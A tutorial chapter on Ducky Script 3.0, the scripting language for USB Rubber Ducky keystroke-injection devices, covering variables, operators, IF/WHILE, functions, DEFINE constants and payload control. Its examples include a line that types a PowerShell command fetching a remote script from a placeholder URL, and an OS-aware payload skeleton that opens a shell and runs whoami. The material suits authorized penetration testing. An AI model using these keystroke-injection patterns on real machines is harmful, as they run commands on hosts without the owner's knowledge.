Ducky Script · Volume 4
Ducky Script Volume 4 — Ducky Script 3.0: The Structured Language
VAR and the operator set, IF/ELSE conditionals, WHILE loops, FUNCTIONs, and the DEFINE preprocessor
Contents
1. About this volume
Vol 3 was the macro language — the linear, blind, 2010 core. This volume is what Ducky Script 3.0 (2022) added to turn that macro language into a real, if small, programming language: variables, an operator set, conditionals, loops, functions, and a preprocessor.
Two things to keep straight throughout:
- This is 3.0. Every construct here needs a Mark II USB Rubber Ducky, or a Bash Bunny / Key Croc / O.MG whose firmware supports 3.0 constructs. None of it runs on a Mark I.
- 3.0 is a superset. Everything in Vol 3 is still valid; 3.0 adds — it does not replace. A real payload mixes plain
STRING/DELAYlines with the structured constructs here.
The reason 3.0 exists is the reason Vol 3 ended on: a 1.0 payload types blind. The constructs in this volume — combined with the host-state detection in Vol 5 — are how a payload stops guessing and starts deciding.
2. VAR — variables
A variable is a named value the payload can read and change as it runs. Declared with VAR, named with a $ sigil:
VAR $counter = 0
VAR $attempts = 5
VAR $found = FALSE
The rules — small language, sharp edges:
| Property | Detail |
|---|---|
| Type | unsigned integer, range 0 – 65535 |
| Booleans | TRUE / FALSE are supported as values (internally 1 / 0) |
| Scope | global — every variable is visible everywhere in the payload, including inside functions. There is no local scope. |
| Sigil | $ always — $counter, never counter |
| Declaration | VAR $name = value declares; $name = value (no VAR) reassigns |
| No strings | there is no string variable type. Variables hold numbers. You cannot store typed text in a VAR. |
That last row is the one that surprises programmers: Ducky Script variables are counters and flags and computed numbers, not text. You build dynamic text with STRING plus the random-character commands (Vol 5) and arithmetic, not by concatenating string variables.
REM Use a variable as a loop counter (full loop syntax in §5)
VAR $i = 0
WHILE ($i < 3)
STRINGLN echo attempt $i
$i = ($i + 1)
END_WHILE
Note $i interpolates inside STRING — the payload above types echo attempt 0, echo attempt 1, echo attempt 2.
Internal variables — the firmware also exposes a set of read-only (and some writable) $_-prefixed variables: $_OS, $_CAPSLOCK_ON, $_CURRENT_VID, $_RANDOM_INT, $_JITTER_ENABLED, and many more. Those are the subject of Vols 5-6; this volume covers the user-declared VAR.
3. The operator set
3.0 has a full operator set. Expressions are written with parentheses required for grouping — the language does not want you relying on memorised precedence.
Arithmetic
= assignment
+ addition - subtraction
* multiplication / division
% modulo ^ exponent
Comparison (yield TRUE/FALSE)
== equal != not equal
> greater < less
>= greater or equal <= less or equal
Logical
&& AND || OR
Bitwise
& AND | OR
>> right shift << left shift
Assignment in practice — there are no +=-style compound operators; you write the long form:
VAR $x = 10
$x = ($x + 5) REM x is now 15
$x = ($x * 2) REM x is now 30
$x = ($x % 7) REM x is now 2
Parentheses are not optional for grouping
════════════════════════════════════════════════
$result = ($a + $b) * $c ◄── group explicitly
IF ( ($x > 0) && ($x < 100) ) THEN
REM x is in range
END_IF
The language is small on purpose. Write the parentheses;
don't make the reader (or the parser) guess.
4. IF / ELSE — conditionals
The conditional executes a block based on whether an expression is TRUE.
IF ( <expression> ) THEN
REM runs when the expression is TRUE
ELSE
REM runs when the expression is FALSE (ELSE is optional)
END_IF
ELSE is optional; END_IF is mandatory — every IF is explicitly closed. The canonical use of IF in real payloads is branching on the target (full host-detection in Vol 5):
REM Branch the whole payload on the detected OS
IF ($_OS == WINDOWS) THEN
GUI r
DELAY 500
STRINGLN cmd
ELSE
REM assume macOS
GUI SPACE
DELAY 500
STRINGLN terminal
END_IF
Conditionals nest, and combine with the logical operators:
IF ( ($_CAPSLOCK_ON == TRUE) && ($attempts > 0) ) THEN
REM the host's caps-lock LED is on AND we still have attempts
END_IF
There is no ELSE IF keyword — you nest an IF inside an ELSE, or restructure. For more than two or three branches, a FUNCTION per case (§6) reads better than deep nesting.
5. WHILE — loops
WHILE repeats a block as long as its expression stays TRUE.
WHILE ( <expression> )
REM runs repeatedly while the expression is TRUE
END_WHILE
END_WHILE closes it. There is no FOR loop — a counted loop is a WHILE plus a manually-incremented variable:
REM Counted loop — press DOWN arrow 20 times
VAR $i = 0
WHILE ($i < 20)
DOWNARROW
DELAY 50
$i = ($i + 1)
END_WHILE
REM Infinite loop — runs until the device is unplugged
WHILE (TRUE)
REM a persistent-action payload: do the thing, wait, repeat
DELAY 60000
END_WHILE
The infinite WHILE (TRUE) pattern is common and important: it is how a payload becomes persistent for as long as the device stays connected — re-asserting an action, polling host state, holding a watch. STOP_PAYLOAD (§9) or unplugging is how it ends.
Loop discipline: a WHILE with no DELAY inside it runs as fast as the microcontroller can go and floods the host with keystrokes — that is occasionally what you want (rare) and usually a bug. Put a DELAY in the loop body unless you have a specific reason not to.
6. FUNCTION — reusable code
A function is a named, reusable block. Declared once, called by name (with parentheses):
FUNCTION open_run_dialog()
GUI r
DELAY 500
END_FUNCTION
REM ... later in the payload ...
open_run_dialog()
STRINGLN cmd
Properties:
RETURNends the function early and can return an integer or boolean:RETURN 1,RETURN TRUE, or bareRETURN.- Global scope still applies — a function reads and writes the same global variables as everything else. There are no parameters and no local variables; you pass data in and out through globals.
- A function used in an expression context returns its
RETURNvalue:IF ( check_something() == TRUE ) THEN.
REM A function that 'returns' via a global, used as a guard
VAR $ok = FALSE
FUNCTION verify_window_focused()
REM (a real version would check host state — Vol 5)
DELAY 300
$ok = TRUE
RETURN
END_FUNCTION
verify_window_focused()
IF ($ok == TRUE) THEN
STRINGLN proceed
END_IF
Functions are the right tool when (a) you do the same multi-line thing more than once, (b) you have a multi-branch decision and want each branch named, or (c) the payload is long enough that named blocks make it readable. They are the wrong tool for a one-off two-liner — Vol 13’s payload-style guidance covers when to reach for them.
7. DEFINE — the preprocessor
DEFINE creates a compile-time constant — a find-and-replace the encoder applies before the payload runs. Named with a # sigil:
DEFINE #DELAY_SHORT 200
DEFINE #DELAY_LONG 2000
DEFINE #PAYLOAD_URL example.com/p.ps1
DELAY #DELAY_LONG
GUI r
DELAY #DELAY_SHORT
STRINGLN powershell -Command "iwr #PAYLOAD_URL"
DEFINE vs VAR — a distinction worth getting right:
DEFINE #NAME | VAR $NAME | |
|---|---|---|
| When it resolves | compile time — the encoder substitutes the text | run time — a real value in memory |
| Can it change while running? | no — it is a constant text substitution | yes — it is a variable |
| What can it hold? | any text (it is a literal find-and-replace) | an unsigned integer 0-65535 only |
| Use it for | tuning knobs, URLs, repeated literals, “magic numbers” | counters, flags, computed values, loop state |
The practical payoff: DEFINE your tuning constants at the top of the payload. When the payload runs too fast on a slow target, you change #DELAY_LONG in one place instead of hunting through 40 lines of DELAY. It is the closest thing Ducky Script has to a config block.
8. Multi-line STRING blocks
3.0 adds block forms of the typing commands so you can type a whole script without one STRING per line:
STRING
line one of the typed text
line two — typed as-is
END_STRING
STRING…END_STRING— types the enclosed block; strips leading whitespace from each line.STRINGLN…END_STRINGLN— types the block with line breaks preserved; preserves formatting except for the first tab.
These are the right tool for “type this entire here-doc / config file / multi-line script.” The whitespace-handling difference matters when you are typing something whitespace-sensitive (a Python script, a YAML file) — END_STRINGLN is the formatting-preserving one. For anything indentation-sensitive, test it; and remember the clipboard-paste pattern (Vol 3 §8, Vol 13) is often more reliable than typing a long block at all.
9. Payload control — RESTART, STOP, RESET
3.0 gives the payload control over its own execution:
| Command | Effect |
|---|---|
RESTART_PAYLOAD | jump back to the first line and run again from the top |
STOP_PAYLOAD | cease all execution immediately |
RESET | clear the keystroke buffer (release everything, known-clean state) |
RESTART_PAYLOAD pairs with the button (Vol 8) and with host-state waits (Vol 5) for “wait for a condition, then do the thing, then go back and wait again” payloads. STOP_PAYLOAD is the clean exit from a WHILE (TRUE) loop once a goal is reached. RESET is the “I don’t know what state the modifier keys are in, put them down” safety command — useful at the start of a payload, or after a HOLD (Vol 6) if logic could skip the matching RELEASE.
10. Putting it together — a structured payload
Everything in this volume, in one payload skeleton. (Host detection — $_OS — is previewed here and covered fully in Vol 5.)
REM ── Structured 3.0 payload: OS-aware, tuned, retrying ──
REM Authorization: <engagement ref>
DEFINE #MAX_TRIES 3
DEFINE #SETTLE 2000
VAR $tries = 0
VAR $done = FALSE
FUNCTION win_path()
GUI r
DELAY 500
STRINGLN cmd
DELAY 750
STRINGLN whoami
$done = TRUE
END_FUNCTION
FUNCTION mac_path()
GUI SPACE
DELAY 500
STRINGLN terminal
DELAY 1500
STRINGLN whoami
$done = TRUE
END_FUNCTION
DELAY #SETTLE
RESET
WHILE ( ($done == FALSE) && ($tries < #MAX_TRIES) )
IF ($_OS == WINDOWS) THEN
win_path()
ELSE
mac_path()
END_IF
$tries = ($tries + 1)
DELAY 500
END_WHILE
STOP_PAYLOAD
That payload decides rather than guesses: it detects the OS, runs the matching path, tracks whether it succeeded and how many times it has tried, and stops cleanly. Compare it to the linear, blind 1.0 payloads of Vol 3 — same language family, a different kind of artifact. Vol 5 is what makes the $_OS check (and much more) actually informative.
11. Resources
- Conditional statements: https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/conditional-statements/
- Functions: https://docs.hak5.org/hak5-usb-rubber-ducky/operators-conditions-loops-and-functions/functions/
- Variables: https://docs.hak5.org/hak5-usb-rubber-ducky/attack-modes-constants-and-variables/variables/
- Ducky Script quick reference: https://docs.hak5.org/hak5-usb-rubber-ducky/duckyscript-quick-reference/
- Vol 3 — the 1.0 core these constructs build on
- Vol 5 —
$_OSand the host-state detection that makesIFinformative - Vol 13 — payload patterns and when to reach for functions/loops
This is Volume 4 of an 18-volume series. Next: Vol 5 covers smart payloads — OS detection ($_OS), reading the host’s keyboard-lock state (WAIT_FOR_CAPS_*), jitter, randomization, and the timing discipline that makes a payload reliable instead of lucky.